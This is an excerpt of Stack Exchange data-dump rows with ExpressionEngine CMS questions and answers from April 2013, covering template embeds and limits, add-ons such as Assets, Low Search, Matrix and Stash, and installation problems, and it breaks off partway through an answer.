  <row Id="9616" PostTypeId="1" CreationDate="2013-04-23T15:47:53.740" Score="0" ViewCount="196" Body="&lt;p&gt;We seem to be having some problems limiting within an embed.  &lt;/p&gt;&#xA;&#xA;&lt;p&gt;2 Channels:  Daily-Deals (approx 50 listings), Business-Listing (approx 10,000 listings).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Each daily deal is related to a single business on field: &quot;deal-owner&quot;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Each business is categorized in a &quot;zone&quot; (category URL corresponds to the template group URL). ie: business is categorized to the zone &quot;Rapid City&quot; (category URL is &quot;rapid-city&quot;)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The template structure is as follows:  www.website.com/rapid-city/restaurants&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Step 1&lt;/strong&gt; - Identify all the daily deals that have content in the field &quot;monday-deal&quot;.  Pass these business ids to the embed. (&lt;em&gt;Identifies 26 records&lt;/em&gt;)&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{exp:channel:entries channel=&quot;daily-deals&quot; search:monday-deal=&quot;not IS_EMPTY&quot;}&#xA;{embed=&quot;rapid-city/deal-embed&quot; deals=&quot;{deal-owner status=&quot;Super Enhanced|Enhanced|Basic&quot;}{entry_id}{/deal-owner}&quot;}&#xA;{/exp:channel:entries}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Step 2&lt;/strong&gt; - In this embed, take the passed ids and filter to identify only those businesses that have the matching category as the segment_1 category id (in this case when viewing the rapid-city/restaurants template, it would only show the deals from the businesses that are categorized as &quot;Rapid City&quot;) (&lt;em&gt;filters down to 21 records&lt;/em&gt;)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Step 3&lt;/strong&gt; - Then display the deal information (from daily-deal) and the business title, city and state (from business listing).&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{exp:channel:entries entry_id=&quot;{embed:deals}&quot; channel=&quot;business-listing&quot; category=&quot;{segment_1_category_id}&quot; status=&quot;Super Enhanced|Enhanced|Basic&quot;}&#xA;{exp:playa:parents channel=&quot;daily-deals&quot;}{monday-deal}{/exp:playa:parents} - {title} - {city},{state-short}&amp;lt;br&amp;gt;&#xA;{/exp:channel:entries}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Using this code, in step 1, it correctly identifies the 26 records that have &quot;monday-deal&quot; content.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In Step 2 it filters the 26 records and returns only the 21 that have a matching category selection (business category URL matches rapid-city from segment_1)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In step 3, it correctly displays the monday-deal for each of the 21 businesses and the business title, city and state.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;BUT, we want to limit the output display within the template to 6 entries!&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;IF we put limit=&quot;6&quot; in the outer template (or use other conditional strategies), it only passes 6 ids (of the possible 26) to the embed. Thus when the embed processes the records, it may be removing some of the 5 that should not be there - resulting in the display of a random number of entries from 1-6.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{exp:channel:entries channel=&quot;daily-deals&quot; search:monday-deal=&quot;not IS_EMPTY&quot; limit=&quot;6&quot;}&#xA;{embed=&quot;rapid-city/deal-embed&quot; deals=&quot;{deal-owner status=&quot;Super Enhanced|Enhanced|Basic&quot;}{entry_id}{/deal-owner}&quot;}&#xA;{/exp:channel:entries}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;IF we put limit=&quot;6&quot; within the code of the embed - &lt;strong&gt;it does nothing&lt;/strong&gt; (all 21 records are displayed!)&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{exp:channel:entries entry_id=&quot;{embed:deals}&quot; channel=&quot;business-listing&quot; category=&quot;{segment_1_category_id}&quot; status=&quot;Super Enhanced|Enhanced|Basic&quot; limit=&quot;6&quot;}&#xA;{exp:playa:parents channel=&quot;daily-deals&quot;}{monday-deal}{/exp:playa:parents} - {title} - {city},{state-short}&amp;lt;br&amp;gt;&#xA;{/exp:channel:entries}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;HOW can we use this process to identify all the records that meet the criteria - and always display only 6 records of the 21 possible?&lt;/p&gt;&#xA;" OwnerUserId="1343" LastEditorUserId="1343" LastEditDate="2013-04-23T15:56:51.463" LastActivityDate="2013-04-25T12:57:43.500" Title="Problems Limiting within an Embed" Tags="|channel-entries|playa|embeds|low-seg2cat|" AnswerCount="2" CommentCount="0" ClosedDate="2013-09-27T04:21:47.797" ContentLicense="CC BY-SA 3.0" />
  <row Id="9617" PostTypeId="1" CreationDate="2013-04-23T15:55:47.370" Score="1" ViewCount="95" Body="&lt;p&gt;I want to limit the number of entries a user can create. I've found a similar question here: &lt;a href=&quot;https://expressionengine.stackexchange.com/questions/791/restrict-number-of-entries-per-user&quot;&gt;Restrict number of entries per user&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The reason that answer won't work for us is because our version of EE is 2.1.3 - before safecracker was integrated. We've tried updating it to the latest version, but after three weeks encountering error after error after error we've had to roll back before we miss a deadline which could make or break our business.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is there anyway to do this without Safecracker?&lt;/p&gt;&#xA;" OwnerUserId="1273" LastEditorUserId="-1" LastEditDate="2017-04-13T12:49:23.780" LastActivityDate="2013-05-24T19:30:12.890" Title="Is there any way to limit the number of entries a user can make?" Tags="|channel-entries|" AnswerCount="2" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="9619" PostTypeId="2" ParentId="9616" CreationDate="2013-04-23T16:18:47.117" Score="0" Body="&lt;p&gt;The limit in the embed is of no use, since for every entry_id found in the template it will embed the other template.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;to pass all entry id's at once to the embed&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{embed=&quot;test/embed_test&quot; all=&quot;{exp:channel:entries channel='test_channel' backspace='1'}{entry_id}|{/exp:channel:entries}&quot;}&#xA;// {embed:all} contains 12|22|44&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="155" LastEditorUserId="155" LastEditDate="2013-04-23T16:28:29.447" LastActivityDate="2013-04-23T16:28:29.447" CommentCount="5" ContentLicense="CC BY-SA 3.0" />
  <row Id="9621" PostTypeId="1" AcceptedAnswerId="9665" CreationDate="2013-04-23T17:18:05.170" Score="0" ViewCount="44" Body="&lt;p&gt;I'm installing ee1.6.8 on WAMP. I've done this many many times, I use it for testing before i attempt the real deal on the live servers. I've done this on all versions between 1.6.8 - 2.5.5 and they always always worked.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;However this time, EE's installation refuses to install because it thinks it does not have the privileges to INSERT/DELETE etc... when in fact it absolutely does. I'm using the root/NO account which has ALL PRIVILEGES.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I've tried via localhost and 127.0.0.1 and it just keeps failing. This is on WAMP 2.2&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Any ideas?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;==== UPDATE ====&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I just tried installing 1.6.9, 1.7.2 and 2.5.5 and both worked smoothly. So it appears that for whatever reason 1.6.X does NOT like wamp 2.2&lt;/p&gt;&#xA;" OwnerUserId="1104" LastEditorUserId="1104" LastEditDate="2013-04-23T18:58:21.207" LastActivityDate="2013-04-24T20:32:39.977" Title="Odd EE Installation issue" Tags="|ee1|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="9622" PostTypeId="1" CreationDate="2013-04-23T18:17:55.263" Score="1" ViewCount="154" Body="&lt;p&gt;I'm trying to use the Superfish jQuery plugin to add hover intent functionality to the main navigation menu in the EE control panel. Whenever I hover over one of the main menu items like &quot;Design&quot; or &quot;Admin&quot;, all of the sub-menus are being displayed rather than just the first child. Has anyone been able to get this to work?&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;link rel=&quot;stylesheet&quot; media=&quot;screen&quot; href=&quot;&amp;lt;?php echo URL_THIRD_THEMES ?&amp;gt;md_addon/css/superfish.css&quot;&amp;gt;&#xA;&amp;lt;script type=&quot;text/javascript&quot; src=&quot;&amp;lt;?php echo URL_THIRD_THEMES ?&amp;gt;md_addon/js/hoverIntent.js&quot;&amp;gt;&amp;lt;/script&amp;gt;&#xA;&amp;lt;script type=&quot;text/javascript&quot; src=&quot;&amp;lt;?php echo URL_THIRD_THEMES ?&amp;gt;md_addon/js/superfish.js&quot;&amp;gt;&amp;lt;/script&amp;gt;&#xA;&amp;lt;script type=&quot;text/javascript&quot; src=&quot;&amp;lt;?php echo URL_THIRD_THEMES ?&amp;gt;md_addon/js/supersubs.js&quot;&amp;gt;&amp;lt;/script&amp;gt;&#xA;&amp;lt;script type=&quot;text/javascript&quot; &amp;gt;&#xA;&#xA;$(document).ready(function() {&#xA;&#xA;    $('ul#navigationTabs').supersubs().superfish({&#xA;        hoverClass:  'active',&#xA;        delay:       1000,                          &#xA;        animation:   {opacity:'show',height:'show'},&#xA;        speed:       'fast',&#xA;        speedOut:    'fast',                         &#xA;        autoArrows:  false                          &#xA;    });&#xA;&#xA;});&#xA;&#xA;&amp;lt;/script&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="365" LastEditorUserId="365" LastEditDate="2013-04-23T18:37:49.127" LastActivityDate="2013-04-23T18:37:49.127" Title=".superfish() and .supersubs() hover intent CP navigation issue" Tags="|control-panel|javascript|jquery|" AnswerCount="0" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="9623" PostTypeId="1" CreationDate="2013-04-23T18:20:48.863" Score="0" ViewCount="84" Body="&lt;p&gt;*&lt;strong&gt;&lt;em&gt;updated&lt;/em&gt;&lt;/strong&gt; The issue was not having www in the url. Assets works fine if I use www.mysite.com/system.... but not if I use mysite.com/system... in the url. www is required in the url for Assets to work. Is this a htaccess issue or can u recommend a fix P&amp;amp;T please? Thanks*&lt;em&gt;*&lt;/em&gt;*&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Just installed Assets 2.1 to test it out on EE2.5.5 - ran the ee server wizard and have what I need installed. If I try and update indexes in Assets the red button just turns opaque and does nothing. I also get no thumbnails and the refresh button just kept spinning endlessly. I reinstalled and uploaded Assets 2.1 twice. Seems to conflict with another module perhaps. Cache is 777, synchronised images in file pref etc...&#xA;Any ideas?&#xA;Thanks&lt;/p&gt;&#xA;&#xA;&lt;p&gt;update index does nothing (don't know where assets_test[2] is coming from? I have 2 images folders test and home...paths are correct)&#xA;&lt;a href=&quot;http://www.tiikoni.com/tis/view/?id=c1608dd&quot; rel=&quot;nofollow&quot;&gt;http://www.tiikoni.com/tis/view/?id=c1608dd&lt;/a&gt;&#xA;folder and thumbs not displayed&#xA;&lt;a href=&quot;http://www.tiikoni.com/tis/view/?id=e7c53be&quot; rel=&quot;nofollow&quot;&gt;http://www.tiikoni.com/tis/view/?id=e7c53be&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="1052" LastEditorUserId="1052" LastEditDate="2013-04-23T18:35:39.167" LastActivityDate="2013-04-23T20:40:30.787" Title="Assets 2.1 Pixel&amp;Tonic" Tags="|assets|" AnswerCount="1" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="9624" PostTypeId="1" CreationDate="2013-04-23T18:26:46.040" Score="1" ViewCount="258" Body="&lt;p&gt;I know it's not really expresso-store related, but I hope that one of you girls can share some javascript magic to make this possible. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;I want the &quot;update cart&quot; button to be disabled until a user changes the amount on the checkout page. to give the user a better clue of what she should be doing. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;any help appreciated! &#xA;cheers&#xA;stefan&lt;/p&gt;&#xA;" OwnerUserId="388" LastActivityDate="2013-11-01T11:09:27.290" Title="disable &quot;update cart&quot; button and reenable when a user changes the quantity?" Tags="|expresso-store|" AnswerCount="1" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="9625" PostTypeId="1" CreationDate="2013-04-23T18:50:07.810" Score="2" ViewCount="85" Body="&lt;p&gt;I'm trying to find a way to have EE automatically save a webpage as an image.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Basically when an single entry page is rendered I would also like EE to create an image of the finished page and attach it to the entry for access by a link or download. would be great to have domainame.com/images/made/{url_title}.jpg&lt;/p&gt;&#xA;&#xA;&lt;p&gt;thanks&#xA;mike&lt;/p&gt;&#xA;" OwnerUserId="1305" LastActivityDate="2013-04-23T20:01:10.970" Title="Saving rendered page as image" Tags="|channel-entries|image|uploads|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="9627" PostTypeId="1" AcceptedAnswerId="9630" CreationDate="2013-04-23T19:49:42.947" Score="4" ViewCount="1124" Body="&lt;p&gt;I've been struggling with static content and wanted some other opinions on how to best approach it. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Currently, I have a channel called Static Content where I, obviously, post all the &quot;static&quot; content for the site.  In the past, I've created a template for each page.  I'm trying to make my templates more DRY, so I'd like to avoid that if possible.  Most of the sections/pages are similar, but there are slight differences, so I'd like to have a template group for each main section.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;My original idea was to create a template group for each section and then use some embeds to determine some of the unique section content. Basically something along these lines:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;&quot;about&quot; template group index:&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{header} {!--snippet --}&#xA;    {embed=&quot;embed/.sidebar&quot; current=&quot;about&quot; show_ad=&quot;y&quot;} &#xA;    {embed=&quot;embed/.static-content&quot;}&#xA;{footer} {!--snippet--}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;.static-content embed:&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{exp:channel:entries channel=&quot;static_content&quot; url_title=&quot;{last_segment}&quot; limit=&quot;1&quot; require_entry=&quot;yes&quot; dynamic=&quot;no&quot; disable=&quot;categories|category_fields|member_data|pagination&quot;}&#xA;    {if no_results}{redirect=&quot;404&quot;}{/if}&#xA;    &amp;lt;h1&amp;gt;{title}&amp;lt;/h1&amp;gt; &#xA;&#xA;    {exp:allow_eecode}  &#xA;        {static_copy}&#xA;    {/exp:allow_eecode}&#xA;{/exp:channel:entries}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;This works really well except for the obvious. I can technically go to &lt;a href=&quot;http://mysite.com/products/history&quot; rel=&quot;nofollow&quot;&gt;http://mysite.com/products/history&lt;/a&gt; and pull up the content that should really only appear at &lt;a href=&quot;http://mysite.com/about/history&quot; rel=&quot;nofollow&quot;&gt;http://mysite.com/about/history&lt;/a&gt;. How do people usually avoid this problem?  Categories?  Add-Ons?  Pages module? Different channels for each section (I hope not)? &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Any suggestions would be appreciated.&lt;/p&gt;&#xA;" OwnerUserId="1355" LastActivityDate="2013-04-24T11:04:06.367" Title="How to approach static content" Tags="|channel-entries|templates|static|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="9628" PostTypeId="2" ParentId="9625" CreationDate="2013-04-23T19:52:44.703" Score="1" Body="&lt;p&gt;You said page to &lt;em&gt;image&lt;/em&gt;, but... if generating a PDF of the page would work for you then there are some add-ons that will convert ExpressionEngine pages to PDF:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;a href=&quot;http://devot-ee.com/add-ons/pdfcrowd&quot; rel=&quot;nofollow&quot;&gt;2PDFcrowd&lt;/a&gt; &lt;/li&gt;&#xA;&lt;li&gt;&lt;a href=&quot;http://devot-ee.com/add-ons/shine-pdf&quot; rel=&quot;nofollow&quot;&gt;Shine PDF&lt;/a&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;a href=&quot;http://devot-ee.com/add-ons/tcpdf&quot; rel=&quot;nofollow&quot;&gt;EEI_Tcpdf&lt;/a&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;a href=&quot;http://devot-ee.com/add-ons/pdf-press&quot; rel=&quot;nofollow&quot;&gt;PDF Press&lt;/a&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;" OwnerUserId="22" LastEditorUserId="22" LastEditDate="2013-04-23T20:01:10.970" LastActivityDate="2013-04-23T20:01:10.970" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="9629" PostTypeId="2" ParentId="9623" CreationDate="2013-04-23T20:40:30.787" Score="1" Body="&lt;p&gt;I suspect that what was happening, based on your update, is that you were seeing JS cross-site security blocking, due the lack of 'www'.   Your domains need to be consistent to avoid that problem - not just with P&amp;amp;T add-ons, at that.  You should ensure that your installation always uses either www, or no www. Consistency there should help you avoid running into this.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;-Lisa Wess&#xA;Pixel &amp;amp; Tonic&lt;/p&gt;&#xA;" OwnerUserId="563" LastActivityDate="2013-04-23T20:40:30.787" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="9630" PostTypeId="2" ParentId="9627" CreationDate="2013-04-23T20:49:54.080" Score="5" Body="&lt;p&gt;It sounds to me like you need the &lt;a href=&quot;http://ellislab.com/expressionengine/user-guide/modules/pages/&quot;&gt;Pages Module&lt;/a&gt;. Essentially you'll create a single template, more if you need to, and then each entry you create using a channel assigned to the pages module, in your case &quot;static&quot;, can have a unique url. So you'll easily be able to assign domain.com/foo or domain.com/bar&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I use pages regularly for this. IMO it's really great for a limited number of unique pages. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;The alternative to this is using &lt;a href=&quot;http://buildwithstructure.com/&quot;&gt;Structure&lt;/a&gt; which is a very popular commercial addon for EE that allows you to do this easily for all pages/entries on your site.&lt;/p&gt;&#xA;" OwnerUserId="15" LastActivityDate="2013-04-23T20:49:54.080" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="9631" PostTypeId="1" AcceptedAnswerId="15006" CreationDate="2013-04-23T22:12:36.617" Score="6" ViewCount="658" Body="&lt;p&gt;Just updated to EE 2.6 today, also updated Assets and Wygwam to 2.1.1 and 2.7.1 respectively.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I have images in my Wygwam fields, if I var dump the raw data, the code stored looks like this: &lt;code&gt;{assets_86:{filedir_2}faculty-staff-stats.png}&lt;/code&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;When it gets rendered, it looks like this: &lt;code&gt;http://mysite.dev/uploads/assorted/faculty-staff-stats.pngfaculty-staff-stats.png}&lt;/code&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Same code worked perfectly prior to upgrading.&lt;/p&gt;&#xA;" OwnerUserId="617" LastActivityDate="2013-10-26T01:55:23.533" Title="Assets in Wygwam not displaying on front end in EE 2.6/Assets 2.1.1/Wygwam 2.7.1" Tags="|assets|wygwam|pixelandtonic|" AnswerCount="1" CommentCount="9" ContentLicense="CC BY-SA 3.0" />
  <row Id="9632" PostTypeId="1" AcceptedAnswerId="9636" CreationDate="2013-04-23T23:13:35.030" Score="1" ViewCount="94" Body="&lt;p&gt;We have two main channels: products and blog. When a user enters a search term, if we find results in the primary channel (as indicated by the search_type cookie), we display the results and we're done. If we don't find results, then we need to let the user know we haven't found anything in products, but we did get n hits in blog.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I created a complex set of templates and embeds, with hidden search forms, and javascript that fired off the search form via ajax, then a second ajax call to gather the results. It was rickety but it worked. Sometimes. But not in Webkit.  :(&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So, I'm wondering about other ways of doing alternate searches. Any recommendations? (I should have sent out this question a long time ago.) Thanks for your help.&lt;/p&gt;&#xA;" OwnerUserId="1126" LastEditorUserId="1126" LastEditDate="2013-04-24T18:16:10.887" LastActivityDate="2013-04-24T18:16:10.887" Title="Alternative Search" Tags="|search|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="9633" PostTypeId="1" AcceptedAnswerId="9679" CreationDate="2013-04-24T01:15:27.090" Score="3" ViewCount="281" Body="&lt;p&gt;We have one checkout at the moment that requires a customer to sign up at the checkout (this creates a member record with ZV) and once signed up/in they can purchase their course which will then create an entry in our 'Students' channel. Simple.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;What we need now is for someone to be able to handle 'manual' registrations and therefore need to be able to sign up and purchase in the same step on behalf of the student.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I am able to register a member with Store, however, because the member wasn't created prior to the order the entry is not created in our 'Students' channel.&#xA;Has anyone had any experience with this? or any ideas that would help point us in the right direction. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Many thanks in advance!&lt;/p&gt;&#xA;" OwnerUserId="1333" LastActivityDate="2013-04-25T08:50:48.680" Title="Using Store + Zoo Visitor to create a member and store order details in related entry" Tags="|expresso-store|zoo-visitor|" AnswerCount="1" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="9634" PostTypeId="1" CreationDate="2013-04-24T04:43:00.440" Score="3" ViewCount="514" Body="&lt;p&gt;With the changes to the way dates are handled in EE 2.6, can dates be set prior to 1900 (or even 1800) using the Date form field?&lt;/p&gt;&#xA;" OwnerUserId="1016" LastActivityDate="2015-10-09T08:52:11.533" Title="Dates before 1900 (even 1800) in EE 2.6?" Tags="|php|date|date-format|datetime|" AnswerCount="2" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="9635" PostTypeId="2" ParentId="9602" CreationDate="2013-04-24T08:48:22.830" Score="0" Body="&lt;p&gt;How about something like this... Haven't tried this so don't know for sure it will work.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Basically, flip the matrix so you reverse the order then get the first 2 items.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{matrix_field sort=&quot;desc&quot; limit=&quot;2&quot;}&#xA;    stuff&#xA;{/matrix_field}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;&lt;em&gt;EDIT I see someone already suggested doing this, maybe combine with what I suggest below?&lt;/em&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Or maybe you could make use the {next_row} and {previous_row} matrix tags&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{matrix_field offset=&quot;{total_rows}&quot;}&#xA;    {previous_row}Stuff here{/previous_row}&#xA;{/matrix_field}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Like I said, haven't tested this so it may well not work but hopefully it will give you some ideas.&lt;/p&gt;&#xA;" OwnerUserId="159" LastEditorUserId="159" LastEditDate="2013-04-24T09:06:53.613" LastActivityDate="2013-04-24T09:06:53.613" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="9636" PostTypeId="2" ParentId="9632" CreationDate="2013-04-24T10:03:29.243" Score="2" Body="&lt;p&gt;If you're willing to step away from the native Search module, you could do this with &lt;a href=&quot;http://gotolow.com/addons/low-search&quot; rel=&quot;nofollow&quot;&gt;Low Search&lt;/a&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You'd create 2 collections: one for Products, one for Blog. In the search form, you then add a keywords field, and &lt;em&gt;don't&lt;/em&gt; specify a collection to search through. Instead, you define the collection in the Results tag, so it only returns results for a single collection.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Then, inside the &lt;code&gt;no_results&lt;/code&gt; conditional, you add an embed to the alternative search results. That embed should only contain another Results tag, but this time with a different &lt;code&gt;collection&lt;/code&gt; parameter.&lt;/p&gt;&#xA;&#xA;&lt;h3&gt;Example code:&lt;/h3&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Form tag&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{exp:low_search:form result_page=&quot;search&quot;}&#xA;  &amp;lt;fieldset&amp;gt;&#xA;    &amp;lt;label for=&quot;keywords&quot;&amp;gt;Keywords&amp;lt;/label&amp;gt;&#xA;    &amp;lt;input type=&quot;search&quot; name=&quot;keywords&quot; id=&quot;keywords&quot; /&amp;gt;&#xA;    &amp;lt;button type=&quot;submit&quot;&amp;gt;Search&amp;lt;/button&amp;gt;&#xA;  &amp;lt;/fieldset&amp;gt;&#xA;{/exp:low_search:form}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Main search results&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{exp:low_search:results query=&quot;{segment_2}&quot; collection=&quot;products&quot; limit=&quot;10&quot;}&#xA;  ...code for main search results...&#xA;  {if no_results}&#xA;    {embed=&quot;search/alternative&quot;}&#xA;  {/if}&#xA;{/exp:low_search:results}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Alternative search results &lt;code&gt;search/alternative&lt;/code&gt;&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{exp:low_search:results query=&quot;{segment_2}&quot; collection=&quot;blog&quot; limit=&quot;10&quot;}&#xA;  {if count == 1}&#xA;    No products found, but here are some blog posts!&#xA;  {/if}&#xA;  ...code for main alternative results...&#xA;  {if no_results}&#xA;    Nothing found whatsoever!&#xA;  {/if}&#xA;{/exp:low_search:results}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="172" LastActivityDate="2013-04-24T10:03:29.243" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="9637" PostTypeId="1" CreationDate="2013-04-24T10:08:16.177" Score="1" ViewCount="107" Body="&lt;p&gt;Ok, where to start. Firstly, I should say that there are similar topics to these, but I have my own unique set of problems, so I decided to post a new question.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Some background: This was an EE1 site which has been upgraded to EE 2.5.3 which i didn't do, and I'm now trying to fix the problems.&#xA;Of the many fields in the 'products' channel, one already created was a matrix field with one column, using safecracker file within it, for product images. This is the bit which isn't working correctly.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;To start with, when loading a publish page with existing data (admin area) I get the following error appear at the top of the page;&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;Severity: Notice&#xA;Message: Undefined index: safecracker_upload_dir&#xA;Filename: safecracker_file/ft.safecracker_file.php&#xA;Line Number: 567&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;The images within the matrix field seem to be appearing, so I'm not sure why this error message is appearing.&#xA;I've had a look at ft.safecracker_file.php and can see that the undefined index is that of the settings array - I assume it's pulling settings from the safecracker extension.&#xA;However, I have no idea how to set this, as there doesn't seem to be such an option in safecracker settings?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The problem part 2;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;On the front end, when outputting the matrix tag pair - and then the matrix tag within it, I was initially having the problem of it not getting the image path.&#xA;If I prefix {filedir_6} (product images dir) manually to the image path in the matrix data table, I then get the path to appear.&#xA;Maybe someone could tell me whether this is a hangover from the EE1 upgrade?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Any and all help appreciated. Many thanks.&lt;/p&gt;&#xA;" OwnerUserId="1369" LastActivityDate="2013-04-24T10:08:16.177" Title="Matrix 2.5.3 and Safecracker file 2.1 (EE 2.5.3) not playing nicely" Tags="|matrix|safecracker|" AnswerCount="0" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="9638" PostTypeId="2" ParentId="9627" CreationDate="2013-04-24T11:04:06.367" Score="2" Body="&lt;p&gt;I tend to handle what you're describing with a separate channel for each major section - not that this is absolutely necessary mind you, but I do find it helps with the logic in template. When I combine it with stash add-on, it works wonders.  Then, my template group index template has little other than the logic of what to show when that template is hit and passes the result of that logic into a wrapper template.  It gives me a very high degree of control, while maintaining a very consistent experience for the site editor with everything being in channel entries accessible through the publish/edit screens.  So for example, a &quot;static&quot; about section, as you describe would be handled like this, the way I've handled it:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;1) Create a channel field group for static pages called &quot;pages&quot; (you could make this channel specific if you wish to allow for more separation of field approach between channels - sometimes I do, sometimes I don't)&#xA;2) Add custom fields to the field group, such as cf_pages_body (and any other fields you might need, such as seo fields, alt titles, etc)&#xA;3) Create a channel for static pages called &quot;about&quot; and assign it the pages field group and your default status group&#xA;4) Create a template group called &quot;about&quot;&#xA;5) Create a template group called &quot;layouts&quot;&#xA;6) In the layouts template group, create a wrapper template called &quot;.inside&quot; that contains all the wrapping html for the inside page - you can of course break that up further with snippets for a DRY approach to the template code itself&#xA;7) In the &quot;about&quot; group index template, you lay out your logic use stash:set to stash the results to parse into your &quot;.inside&quot; wrapper template&#xA;8) In the .inside wrapper template, you use stash:get to grab the stashed values associated with the accessed URL&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;So a very simplified version (stash has a lot of additional parameters you could use for performance, parsing priority, etc. that I'm not showing at all here) of the your logic template may 